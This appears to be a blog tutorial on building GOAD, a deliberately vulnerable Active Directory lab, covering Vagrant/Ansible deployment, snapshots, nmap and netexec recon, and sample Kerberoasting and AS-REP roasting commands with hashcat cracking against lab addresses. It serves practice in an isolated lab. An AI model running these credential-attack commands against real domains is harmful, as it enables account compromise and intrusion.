Building an Active Directory Attack Lab with GOAD

An Active Directory attack lab is the fastest way to actually learn how Windows domains fall, and GOAD (Game of Active Directory) is the project that builds one for you in an afternoon. This walkthrough takes you from an empty host to a running set of vulnerable domains you can break, recover, and break again. You install it with Vagrant and Ansible, point an attacker box at the lab network, run recon, and then work through the same techniques that show up in real domain compromises, all inside four walls you control.

Read it top to bottom the first time to get the lab standing, then keep it open as a reference for the deploy, snapshot, and recon steps. Every command here targets machines you built on your own hardware and nothing else.

01Why you need an isolated Active Directory attack lab

An isolated Active Directory attack lab exists so you can practice domain attacks loudly, repeatedly, and without fear, because nothing you touch belongs to anyone else. Production Active Directory is fragile and heavily monitored, and the techniques worth learning (Kerberoasting, delegation abuse, certificate attacks) are the kind that lock accounts, drop tickets, and trip alerts. You do not want to learn those on something real.

The golden rule is short: only attack what you own. A lab turns that rule into a practical setup. You get to fire off a password spray, watch it fail, read the event log it generated, fix your technique, and try again, with no risk and no cleanup. The goal of this guide is to give you that playground with the least friction, which is exactly what GOAD was built for.

02What GOAD builds, and why it is deliberately vulnerable

GOAD builds a deliberately vulnerable Active Directory environment: several domains, a forest trust, member servers, and a long list of planted misconfigurations. It was created and is maintained by Orange Cyberdefense, and the whole point is that nothing in it is hardened. Every weakness you would spend weeks hunting for on a real engagement is already there, waiting.

The full lab spins up two forests and three domains with a Game of Thrones theme. The root forest is sevenkingdoms.local (the kingslanding domain controller), with a child domain north.sevenkingdoms.local (the winterfell controller). A second forest, essos.local (the meereen controller), sits across a two-way trust, and member servers host services such as MSSQL and IIS. That trust is not decoration: crossing it is one of the exercises.

Because the topology mirrors a small real company, the attack paths chain the way they do in practice. You land on one host, pivot to a member server, roast a service account, abuse a delegation setting, and end up crossing the trust into the other forest. The lab rewards thinking in paths, not single tricks.

03Host requirements and the GOAD-Light option

Host requirements for GOAD come down to one number: memory. The full lab runs five Windows virtual machines at once, so a host with roughly 24 GB of free RAM is comfortable, along with a modern multi-core CPU and about 100 GB of free disk for the boxes and snapshots. A spinning disk will work but an SSD makes the install and the snapshot restores far quicker.

If your machine cannot spare that much, use GOAD-Light. It is the same project cut down to fewer machines and a single forest, so it fits in roughly half the memory while still giving you domain controllers, a member server, and a solid set of techniques to practice. There is also a smaller mini variant for very tight hardware. Start light if you are unsure: you can always build the full lab later once you know your host can take it.

04The provisioning model: Vagrant, Ansible and your hypervisor

GOAD's provisioning model splits the work cleanly in two. Vagrant creates the virtual machines from base images and handles their lifecycle, and Ansible then configures the vulnerable domain on top of them: it joins the controllers, creates the users, sets the weak permissions, and plants every misconfiguration. You run one wrapper script and both halves happen in order.

Underneath, a hypervisor runs the boxes. GOAD supports VirtualBox and VMware for a lab on your own machine, and Proxmox if you want the lab on a home server you reach over the network. You pick the provider when you install, and the same Ansible configuration is applied regardless of which one you chose, so the lab you get is identical.

The wrapper can run Ansible straight on your host, or from a container if you would rather not install Ansible and its dependencies locally. On Windows the container method, or running the provisioning from WSL or a small Linux VM, saves a lot of dependency pain.

05Deploying GOAD step by step

Deploying GOAD is a short, ordered sequence once the host has a hypervisor, Vagrant, and Ansible available. Work through the steps below in order. The build itself is mostly waiting: Vagrant pulls and boots the boxes, then Ansible grinds through the domain configuration, which can take a while on the first run.

git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD

# check that Vagrant, Ansible and the provider are ready
./goad.sh -t check -p virtualbox

# build and provision the full lab on VirtualBox, running Ansible locally
./goad.sh -t install -l GOAD -p virtualbox -m local

# lighter build, for a host short on memory
./goad.sh -t install -l GOAD-Light -p virtualbox -m local

The -l flag selects the lab (GOAD or GOAD-Light), -p selects the provider (virtualbox, vmware, or proxmox), and -m selects whether Ansible runs locally or in a container. If you ever want to drive Vagrant directly, standard commands such as vagrant status and vagrant up still work against the boxes the project defines.

$ ./goad.sh -t check -p virtualbox
[+] vagrant ........... ok
[+] ansible ........... ok
[+] virtualbox ........ ok
$ ./goad.sh -t install -l GOAD -p virtualbox -m local
[*] bringing up the lab vms with vagrant ...
[*] running ansible provisioning (this takes a while) ...
[+] GOAD is ready

06Snapshotting so you can break things and roll back

Snapshotting is what turns a one-time install into a lab you can abuse for months. A vulnerable domain is easy to wreck: a bad DCSync, a locked krbtgt, a half-finished relay can all leave the lab in a state that no longer teaches you anything. A clean snapshot means a broken run costs you a one-minute restore instead of a two-hour rebuild.

Take the snapshot the moment the install finishes and before you run a single attack. Vagrant has its own snapshot commands that work across the whole lab, and your hypervisor can snapshot per machine as well. Name the snapshot something obvious so you are never guessing which one is the pristine copy.

# save a clean baseline across the lab, then restore to it later
vagrant snapshot save snapshot-clean
vagrant snapshot list
vagrant snapshot restore snapshot-clean

# per-machine snapshot through VirtualBox, as an alternative
VBoxManage snapshot "GOAD-DC01" take clean --description "fresh install"

$ vagrant snapshot save snapshot-clean
==> saving snapshot for each machine in the lab ...
$ vagrant snapshot list
snapshot-clean

07A first recon pass from the attacker box

A first recon pass starts from the attacker box sitting on the lab network, 10.10.10.0/24, with no credentials at all. Put a Kali or similar Linux VM on the same host-only network as the lab, give it an address such as 10.10.10.5, and point it at the domain controllers. GOAD ships on a private host-only network, and the address range is set in its configuration, so you can line the lab up with the 10.10.10.0/24 range used here.

Start wide with a port sweep, then move to protocol-aware enumeration. A quick nmap over the usual domain ports tells you which hosts are controllers, and netexec gives you the domain names, SMB signing posture, and a first look at shares and null sessions.

# 0xpriv.dev/labs
# sweep the lab network for domain controller ports
nmap -Pn -p 88,135,139,389,445,464,636,3268,5985 10.10.10.0/24 -oA goad-sweep

# protocol-aware enumeration of the controllers with netexec
netexec smb 10.10.10.10-12
netexec smb 10.10.10.10 -u 'anonymous' -p '' --shares

$ netexec smb 10.10.10.10-12
SMB  10.10.10.10  445  KINGSLANDING  [*] (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True)
SMB  10.10.10.11  445  WINTERFELL    [*] (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True)
SMB  10.10.10.12  445  MEEREEN       [*] (name:MEEREEN) (domain:essos.local) (signing:True)

Seeing the three domains come back confirms the forest is up and gives you the map you need. From here you collect users, look for anonymous access, and start building the picture that feeds the actual attacks.

08The attacks GOAD lets you practice

The attacks GOAD lets you practice are the same ones that carry real domain compromises, and the lab is salted with the conditions each one needs. Rather than a single trick, you get a menu: enumerate, pick a weakness, and chain it toward domain or forest control. Standard tooling (impacket, netexec, hashcat, BloodHound, Certipy) covers all of it.

Two of these make a clean first exercise because they need no special position on the network, just a valid low-privilege account. Both are standard, well-documented invocations, shown here so the loop (collect, request, crack) is concrete.

# Kerberoasting: request SPN tickets, then crack the hashes offline
GetUserSPNs.py sevenkingdoms.local/robb.stark -dc-ip 10.10.10.10 -request
hashcat -m 13100 tgs.hash rockyou.txt

# AS-REP roasting: accounts without pre-auth, cracked the same way
GetNPUsers.py sevenkingdoms.local/ -usersfile users.txt -dc-ip 10.10.10.10 -no-pass
hashcat -m 18200 asrep.hash rockyou.txt

09Keeping the lab offline and isolated

Keeping the lab offline and isolated is the rule that makes all the fun above safe. GOAD is intentionally full of holes, so a bridged adapter or an accidental route to the internet turns a teaching tool into a genuine risk on your own network. Treat isolation as the default, not an afterthought.

Keep every VM on a host-only or internal-only network with no gateway to your LAN or the wider internet. The install step needs to pull base boxes and packages, so let it, and then cut the targets off once the build is done. If you need the attacker box online for a tool update, do that separately and bring it back to the isolated network before you resume.

10Hardening and tearing the lab down safely

Shutting the lab down safely matters because a vulnerable domain left running and reachable is a liability, not a lab. The same discipline that keeps it isolated also keeps it from outliving its usefulness. A few habits cover the whole lifecycle, from a weak domain you spin up to one you tear down cleanly.

11FAQ

12Wrapping up

A good Active Directory attack lab removes every excuse not to practice, and GOAD gives you one that is realistic, repeatable, and free. Install it with Vagrant and Ansible, snapshot a clean baseline, run your recon from an attacker box on the isolated network, and work the attack menu one technique at a time. Break it, restore it, and break it a different way. That loop, run in a place you fully own, is how the techniques stop being words on a page and start being muscle memory.